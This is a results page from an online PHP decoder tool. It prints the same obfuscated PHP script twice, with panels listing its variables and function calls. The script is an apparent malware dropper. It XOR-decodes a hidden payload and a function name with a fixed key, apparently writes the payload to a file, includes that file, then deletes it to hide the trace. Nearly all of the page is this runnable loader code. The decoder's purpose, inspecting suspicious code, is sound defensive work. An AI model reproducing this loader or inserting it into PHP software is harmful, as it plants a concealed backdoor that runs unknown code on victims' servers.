Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function ZhMdJHn($lugyXESayb, $DsRzENmoa) { $lugyXESayb = urldecode($lugyXE..

Decoded Output download

<?php 
 
function ZhMdJHn($lugyXESayb, $DsRzENmoa) 
{ 
    $lugyXESayb = urldecode($lugyXESayb); 
    $dfNDHeWkQdx = str_split($lugyXESayb); 
    $action = ""; 
    for ($i = 0; $i < strlen($lugyXESayb);$i++) { 
        $action .= $dfNDHeWkQdx[$i] ^ $DsRzENmoa[$i%8]; 
    } 
    return $action; 
} 
 
$i="QE79%1ALx%28%04%14.%0E%19%24%06%40J%1F5%23%053-%04%02%1D%60%7DJ%0F%27%24%21S%7C%5C%60%01%1B%06%04%2544%1EiU%04%02%1D%184%183%1D%1A%1E%5DkqZhIeg%3A.%3F%03%1E%01%0D%19R%60%3C%0B9-%0D%15%1F%24%24%1E%28%1D%062%0E.%3C%0Ff%5EH%5DS%7C%5C%60%01%01%0D%19%2538%07%24-%04%04%17.%25Bq%5BS%60pJ%5BgK%14%1D%03%1938%05%2FR%1B%05%1E7yN%25%13%1C%0CVgu%01%24%0BA%60p%3C%5C%60aRHM%5E%28%24%1E%1E%16%09%19%1BglJcPS%60pgqJa%14%07%1FZou%03aOH%5DAgu%03aNH%1E%0E5%3D%0F%2FZL%09%1B30Cz%5BH%16wMqJaRHMZg7%053R%40I%10glJqIHI%10gmJ2%06%1A%01%1F%29yN%2A%17%11DZawJe%1BHQZ4%25%18-%17%06E%5E%230%1E+%5BSM%5E-zAmRL%04QlxJ%3A%7FbMZgqJaRHMZgqN.%07%1C2%1E%26%25%0Ba%5CUM%19%2F%23B.%00%0CE%5E%230%1E+%29L%04%27nq4a%1D%1A%09Rc%3A%0F8%29L%07%27nxQLxHMZgqJaR%15%60pgqJa%0FegZgqJ3%17%1C%18%08%29qN.%07%1C2%1E%26%25%0Bz%7Fb%10wM8%0CaZ%01%1E%09%22%25Be-%2F%28.%1Cg%5DrF%5BX%27nxgK%09egZgqJ%25%1B%0DE%17%23dBuE_%5CHnxQLx%15%60pc%25%0F%2C%02U%0C%0850%13%1E%1F%0D%1F%1D%22yN%1E1%27%221%0E%14FaV7%3D5%14%05Cz%7Fb%0B%1554%0B%22%1AHE%5E34%071R%09%1EZc5%0B5%137%06%1F%3EqW%7FRL%09%1B30Ca%09egZgqJe%16%09%19%1BglJ%01%07%06%1E%1F58%0B-%1B%12%08R49%0E1Z%1B%05%1E7y%08+%01%0D%5BN%185%0F%22%1D%0C%08Rc5%0B5%13AAZ%60d%0F%2A%15%00%1D%0Bpa%5D0%1E_%06%1E3%3D%120%00%1B%00%11q%26%1A%26%11%5B%01L%23+%0E6UAAZc5%0B5%137%06%1F%3ExCz%7FbMZgq%03%27R%40%04%0944%1EiV%0C%0C%0E%26%0AM+%19O0Snq%11LxHMZgqJaR%01%0BZou%0E+%06%096%5D%26v7aOUM%5D.vCa%09egZgqJaRHMZgqJe%1BHPZ%26%23%18+%0B%40%60pgqJaRHMZgqJaRHMZ%60%21%1CfRUSZ%07%21%021%04%0D%1F%09.%3E%04i%5BD%60pgqJaRHMZgqJaRHMZ%60%22%1CfRUSZ%60%60Dq_YJVJ%5BJaRHMZgqJaRHDAJ%5BJaRHMZgqJaRH%08%19%2F%3EJ%01%01%0D%1F%13%26%3D%03%3B%17%40I%13njgKRHMZgqJa%0FH%08%1644%03%27R%40I%1E%26%25%0B%1AU%09J%27glWaU%0DJSg%2AgKRHMZgqJaRHMZ%22%27%0B-ZL%09%1B301f%16O0S%7C%5C%60aRHMZgqJ%3C%7FbMZgqJaRH%08%02.%25BhIegZgqJ%3C%7Fb%10"; 
$j="%0B%13%2B451%07%1C2%19%28%3F%1E%24%1C%1C%1E"; 
 
$rbbZZiJsglH="mzGQjArhUpUR"; 
 
$k = ZhMdJHn($i, $rbbZZiJsglH); 
$f = ZhMdJHn($j, $rbbZZiJsglH); 
$f($rbbZZiJsglH, $k); 
include_once ($rbbZZiJsglH); 
unlink($rbbZZiJsglH); 
exit(); ?>

Did this file decode correctly?

Original Code

<?php

function ZhMdJHn($lugyXESayb, $DsRzENmoa)
{
    $lugyXESayb = urldecode($lugyXESayb);
    $dfNDHeWkQdx = str_split($lugyXESayb);
    $action = "";
    for ($i = 0; $i < strlen($lugyXESayb);$i++) {
        $action .= $dfNDHeWkQdx[$i] ^ $DsRzENmoa[$i%8];
    }
    return $action;
}

$i="QE79%1ALx%28%04%14.%0E%19%24%06%40J%1F5%23%053-%04%02%1D%60%7DJ%0F%27%24%21S%7C%5C%60%01%1B%06%04%2544%1EiU%04%02%1D%184%183%1D%1A%1E%5DkqZhIeg%3A.%3F%03%1E%01%0D%19R%60%3C%0B9-%0D%15%1F%24%24%1E%28%1D%062%0E.%3C%0Ff%5EH%5DS%7C%5C%60%01%01%0D%19%2538%07%24-%04%04%17.%25Bq%5BS%60pJ%5BgK%14%1D%03%1938%05%2FR%1B%05%1E7yN%25%13%1C%0CVgu%01%24%0BA%60p%3C%5C%60aRHM%5E%28%24%1E%1E%16%09%19%1BglJcPS%60pgqJa%14%07%1FZou%03aOH%5DAgu%03aNH%1E%0E5%3D%0F%2FZL%09%1B30Cz%5BH%16wMqJaRHMZg7%053R%40I%10glJqIHI%10gmJ2%06%1A%01%1F%29yN%2A%17%11DZawJe%1BHQZ4%25%18-%17%06E%5E%230%1E+%5BSM%5E-zAmRL%04QlxJ%3A%7FbMZgqJaRHMZgqN.%07%1C2%1E%26%25%0Ba%5CUM%19%2F%23B.%00%0CE%5E%230%1E+%29L%04%27nq4a%1D%1A%09Rc%3A%0F8%29L%07%27nxQLxHMZgqJaR%15%60pgqJa%0FegZgqJ3%17%1C%18%08%29qN.%07%1C2%1E%26%25%0Bz%7Fb%10wM8%0CaZ%01%1E%09%22%25Be-%2F%28.%1Cg%5DrF%5BX%27nxgK%09egZgqJ%25%1B%0DE%17%23dBuE_%5CHnxQLx%15%60pc%25%0F%2C%02U%0C%0850%13%1E%1F%0D%1F%1D%22yN%1E1%27%221%0E%14FaV7%3D5%14%05Cz%7Fb%0B%1554%0B%22%1AHE%5E34%071R%09%1EZc5%0B5%137%06%1F%3EqW%7FRL%09%1B30Ca%09egZgqJe%16%09%19%1BglJ%01%07%06%1E%1F58%0B-%1B%12%08R49%0E1Z%1B%05%1E7y%08+%01%0D%5BN%185%0F%22%1D%0C%08Rc5%0B5%13AAZ%60d%0F%2A%15%00%1D%0Bpa%5D0%1E_%06%1E3%3D%120%00%1B%00%11q%26%1A%26%11%5B%01L%23+%0E6UAAZc5%0B5%137%06%1F%3ExCz%7FbMZgq%03%27R%40%04%0944%1EiV%0C%0C%0E%26%0AM+%19O0Snq%11LxHMZgqJaR%01%0BZou%0E+%06%096%5D%26v7aOUM%5D.vCa%09egZgqJaRHMZgqJe%1BHPZ%26%23%18+%0B%40%60pgqJaRHMZgqJaRHMZ%60%21%1CfRUSZ%07%21%021%04%0D%1F%09.%3E%04i%5BD%60pgqJaRHMZgqJaRHMZ%60%22%1CfRUSZ%60%60Dq_YJVJ%5BJaRHMZgqJaRHDAJ%5BJaRHMZgqJaRH%08%19%2F%3EJ%01%01%0D%1F%13%26%3D%03%3B%17%40I%13njgKRHMZgqJa%0FH%08%1644%03%27R%40I%1E%26%25%0B%1AU%09J%27glWaU%0DJSg%2AgKRHMZgqJaRHMZ%22%27%0B-ZL%09%1B301f%16O0S%7C%5C%60aRHMZgqJ%3C%7FbMZgqJaRH%08%02.%25BhIegZgqJ%3C%7Fb%10";
$j="%0B%13%2B451%07%1C2%19%28%3F%1E%24%1C%1C%1E";

$rbbZZiJsglH="mzGQjArhUpUR";

$k = ZhMdJHn($i, $rbbZZiJsglH);
$f = ZhMdJHn($j, $rbbZZiJsglH);
$f($rbbZZiJsglH, $k);
include_once ($rbbZZiJsglH);
unlink($rbbZZiJsglH);
exit();

Function Calls

ZhMdJHn 1
str_split 1
urldecode 1

Variables

$i QE79%1ALx%28%04%14.%0E%19%24%06%40J%1F5%23%053-%04%02%1D%60%..
$j %0B%13%2B451%07%1C2%19%28%3F%1E%24%1C%1C%1E
$DsRzENmoa mzGQjArhUpUR
$lugyXESayb QE79Lx(.$@J5#3-`}J'$!S|\`%44iU43]kqZhIeg:.? R`< 9- $$(2.<f^H..
$rbbZZiJsglH mzGQjArhUpUR

Stats

MD5 6d7a63af6ca56de2f74c018f6b5ac26c
Eval Count 0
Decode Time 49 ms